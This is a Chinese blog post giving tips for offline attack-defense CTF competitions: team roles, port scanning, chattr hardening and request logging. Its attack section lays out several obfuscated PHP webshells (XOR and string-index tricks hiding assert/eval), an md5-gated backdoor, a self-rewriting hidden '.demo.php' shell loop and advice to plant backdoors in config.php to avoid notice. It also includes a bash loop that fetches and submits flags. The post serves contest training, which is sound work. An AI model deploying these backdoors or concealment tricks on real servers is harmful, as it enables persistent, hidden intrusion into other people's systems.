TF線下攻防賽總結(jié)
發(fā)表于2017-06-23|分類于CTF|熱度1783℃
本著最后一次參加線下賽,這時間安排也是讓人很無語。將這一份總結(jié)留給學(xué)弟他們,漲漲經(jīng)驗。
一張常規(guī)的CTF線下攻防思維導(dǎo)圖
兩三個人進(jìn)行分工,一個粗略的看下web,有登陸口的話,就需要修改密碼,將情況反饋給隊友,讓登陸ssh的小伙伴進(jìn)行密碼的修改,改成炒雞復(fù)雜、然后將Web目錄下載下來,上WAF、文件監(jiān)控、端口掃描。將這幾個工作分工好,順序就像圖上。
tips:將下載下來的Web目錄理一遍,看是否有可疑的文件夾,比如bak。
依然記得有次比賽,有兩臺靶機(jī),賽組提示弱口令。然后每一支隊伍都奔著后臺去了,結(jié)果有隊伍在Web目錄下發(fā)現(xiàn)了這個bak目錄,打開發(fā)現(xiàn)是phpmyadmin,提示的弱口令是在這里用上。
首先先理清好網(wǎng)絡(luò)拓?fù)潢P(guān)系,節(jié)點與各鏈路之間的關(guān)聯(lián)。這個需要下一步配合,要不然不知道對手在哪就GG。
示例:
如果是在同個C段,或者B段,均可以使用RouterScan進(jìn)行對80端口掃描進(jìn)行掃描得出,嫌麻煩的話,就用httpscan這個小巧的腳本
千萬要記得掃端口,這很重要,當(dāng)然這個端口掃描是建立在沒有自己靶機(jī)權(quán)限的情況下。用nmap也行,自己寫的腳本或者網(wǎng)上找的也行。
有的比賽環(huán)境,為了照顧比較菜的選手(此處舉手),預(yù)留了一句話后門。將整個web目錄下載到本地,使用hm.exe、D盾或者別的掃描工具可以掃描得出(如果預(yù)留)
防御及修復(fù)建議
1.將所有的登陸口密碼進(jìn)行修改(炒雞復(fù)雜);
2.將上傳頁面的action地址修改為*,(機(jī)智小能手!!);
3.反序列化和命令執(zhí)行,就去seebug或其他的站點找補(bǔ)丁;
4.待補(bǔ)充…
控制用的一句話木馬,最好是需要菜刀配置的,這樣做是為了不讓別人輕易的利用你的一句話,要不然就只能等著別人用你的腳本撿分。
簡單舉例:
連接方式:php?2=assert密碼是1。
獻(xiàn)上我常用得一句話
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置為?b=))99(rhC(tseuqeR+lave
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
連接密碼:0(零)
set_time_limit(0);
ignore_user_abort(true);
$file ='.demo.php';
$shell ="";
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
usleep(50);
}
?>
tips:.demo.php前面使用一個點,能很好的隱藏文件。
想要結(jié)束這個進(jìn)程,除了最暴力的重啟服務(wù)之外,更為優(yōu)雅的如下:
while(1) {
$pid=1234;
@unlink('demo.php');
exec('kill -9 $pid');
}
?>
先查看進(jìn)程,查看對應(yīng)的pid,再執(zhí)行即可。
素質(zhì)低的人則會放置一個md5馬,比如
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>
如果素質(zhì)低的人又很猥瑣,像rootrain這種就是。那就是利用header,最后綜合起來就是
echo'hello';
$test='flag';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if(@$_SERVER['HTTP_USER_AGENT'] =='flag'){
header("flag:$test");
}
?>
放進(jìn)config.php效果最好,因為一般很少人去看這個。
將uploads等文件夾使用chattr對文件底層屬性進(jìn)行控制。
chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files…
最關(guān)鍵的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]這些字符組合的,這部分是用來控制文件的
屬性。
+ :在原有參數(shù)設(shè)定基礎(chǔ)上,追加參數(shù)。
- :在原有參數(shù)設(shè)定基礎(chǔ)上,移除參數(shù)。
= :更新為指定參數(shù)設(shè)定。
A:文件或目錄的 atime (access time)不可被修改(modified), 可以有效預(yù)防例如手提電腦磁盤I/O錯誤的發(fā)生。
S:硬盤I/O同步選項,功能類似sync。
a:即append,設(shè)定該參數(shù)后,只能向文件中添加數(shù)據(jù),而不能刪除,多用于服務(wù)器日志文件安全,只有root才能設(shè)定這個屬性。
c:即compresse,設(shè)定文件是否經(jīng)壓縮后再存儲。讀取時需要經(jīng)過自動解壓操作。
d:即no dump,設(shè)定文件不能成為dump程序的備份目標(biāo)。
i:設(shè)定文件不能被刪除、改名、設(shè)定鏈接關(guān)系,同時不能寫入或新增內(nèi)容。i參數(shù)對于文件 系統(tǒng)的安全設(shè)置有很大幫助。
j:即journal,設(shè)定此參數(shù)使得當(dāng)通過mount參數(shù):data=ordered 或者 data=writeback 掛 載的文件系統(tǒng),文件在寫入時會先被記錄(在journal中)。如果filesystem被設(shè)定參數(shù)為 data=journal,則該參數(shù)自動失效。
s:保密性地刪除文件或目錄,即硬盤空間被全部收回。
u:與s相反,當(dāng)設(shè)定為u時,數(shù)據(jù)內(nèi)容其實還存在磁盤中,可以用于undeletion。
各參數(shù)選項中常用到的是a和i。a選項強(qiáng)制只可添加不可刪除,多用于日志系統(tǒng)的安全設(shè)定。而i是更為嚴(yán)格的安全設(shè)定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE處理能力(標(biāo)識)的進(jìn)程能夠施加該選項。
應(yīng)用舉例:
用chattr命令防止系統(tǒng)中某個關(guān)鍵文件被修改:
# chattr +i /etc/resolv.conf
上面的$shell內(nèi)容看個人,線下賽可以直接使用之類的,只是說一個點,剩余的發(fā)揮空間由你們思考。
最好能寫一個批量上傳的,結(jié)合批量訪問。批量訪問參考PHP-定時任務(wù)
或者
#!/bin/bash
whiletrue
do
flag=$(curl'http://172.16.4.42:800')
curl --cookie"PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD"--data"key="${flag}"http://172.16.4.42/index.php/wargame/submit"
sleep 1s
done
只有想不到,沒有做不到。
感知可能正在發(fā)生的攻擊,從而規(guī)避存在的安全風(fēng)險
應(yīng)急響應(yīng),還原攻擊者的攻擊路徑,從而挽回已經(jīng)造成的損失
這種腳本網(wǎng)上有很多。
date_default_timezone_set('Asia/Shanghai');
$ip? ? ? = $_SERVER["REMOTE_ADDR"];//記錄訪問者的ip
$filename = $_SERVER['PHP_SELF'];//訪問者要訪問的文件名
$parameter? = $_SERVER["QUERY_STRING"];//訪問者要請求的參數(shù)
$time? ? =? date('Y-m-d H:i:s',time());//訪問時間
$logadd ='來訪時間:'.$time.'-->'.'訪問鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log記錄
$fh = fopen("log.txt","a");
fwrite($fh, $logadd);
fclose($fh);
?>
LogForensics 騰訊實驗室
https://security.tencent.com/index.php/opensource/detail/15
北風(fēng)飄然@金烏網(wǎng)絡(luò)安全實驗室
http://www.freebuf.com/sectool/126698.html
網(wǎng)絡(luò)ID為piaox的安全從業(yè)人員:
http://www.freebuf.com/sectool/110644.html
網(wǎng)絡(luò)ID:SecSky
http://www.freebuf.com/sectool/8982.html
網(wǎng)絡(luò)ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html
首先,CTF題是信息安全得基本概念,攻防技術(shù)、技巧得濃縮和提煉。通過解題,會快速掌握題目中所包含得概念和技術(shù)點,而這些知識在真實得環(huán)境中可能比較分散,難以學(xué)習(xí),高水平得CTF都是由業(yè)內(nèi)專家命題,往往凝聚著他們多年積累出來的技能。
其次,CTF題注重實際操作,并與基礎(chǔ)理論知識相結(jié)合。每道CTF都需要實際動手才能找到答案,并且在比賽中經(jīng)常要拼速度,這對攻防操作得能力會有極高的鍛煉。除此之外,高質(zhì)量得CTF題都沒法直接使用現(xiàn)成工具解出,一般需要在理解基本原理的基礎(chǔ)上,自己編寫代碼來求解,這個過程會加深和鞏固計算機(jī)基礎(chǔ)知識得理解。
最后,CTF能夠給不能層次的人在技術(shù)上帶來提高。沒有網(wǎng)絡(luò)信息安全基礎(chǔ)的學(xué)生通過CTF,建立了安全攻防的概念;有初步基礎(chǔ)的學(xué)生,通過高質(zhì)量賽題的實踐練習(xí),提升了實戰(zhàn)能力;已經(jīng)學(xué)有所成的學(xué)生,通過國際CTF大賽和國際強(qiáng)隊比拼,開闊了視野。
雖然ctf涉及到的知識點面非常的全面。但是在實際應(yīng)用中,在自己所選擇的方向上給予不了多大的幫助。
只因為CTF環(huán)境太過于理想化(當(dāng)然是我水平問題,做不來大的CTF賽題),因為總有方法可以拿到flag,在實操上,遇到瓶頸,要考慮的東西就多了。